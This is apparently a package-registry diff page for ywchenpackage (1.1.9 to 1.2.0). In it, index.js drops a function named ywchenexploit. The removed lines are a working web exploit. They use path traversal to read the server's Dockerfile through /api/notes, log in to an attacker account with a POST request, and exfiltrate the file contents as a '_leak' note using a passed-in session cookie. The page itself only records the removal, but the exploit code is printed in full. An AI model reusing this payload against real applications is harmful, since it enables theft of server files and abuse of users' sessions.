ywchenpackage 1.1.9 → 1.2.0
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +0 -36
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,39 +1,3 @@
|
|
|
1
1
|
function ywchenexploit(cookie) {
|
|
2
|
-
let stolenurl = "/api/notes?id=/proc/self/cwd/Dockerfile";
|
|
3
|
-
let c2path = "/api/notes";
|
|
4
|
-
fetch(stolenurl)
|
|
5
|
-
.then(
|
|
6
|
-
(response) => {
|
|
7
|
-
return response.json();
|
|
8
|
-
}
|
|
9
|
-
).then(
|
|
10
|
-
(response) => {
|
|
11
|
-
let stolen = response;
|
|
12
|
-
fetch(
|
|
13
|
-
"/login",
|
|
14
|
-
{
|
|
15
|
-
method: "POST",
|
|
16
|
-
headers: {
|
|
17
|
-
"content-type": "application/x-www-form-urlencoded"
|
|
18
|
-
},
|
|
19
|
-
body: "username=ywchen&password=ywchen"
|
|
20
|
-
}
|
|
21
|
-
).then(
|
|
22
|
-
(response) => {
|
|
23
|
-
fetch(
|
|
24
|
-
c2path, {
|
|
25
|
-
method: "POST",
|
|
26
|
-
headers: {
|
|
27
|
-
"content-type": "application/json",
|
|
28
|
-
"cookie": "session="+cookie
|
|
29
|
-
},
|
|
30
|
-
body: JSON.stringify({"title":stolen.title+"_leak","content":stolen.content.split("555 /app/notes")[1]})
|
|
31
|
-
}
|
|
32
|
-
);
|
|
33
|
-
}
|
|
34
|
-
);
|
|
35
|
-
}
|
|
36
|
-
);
|
|
37
|
-
|
|
38
2
|
return "hello NPM"
|
|
39
3
|
}
|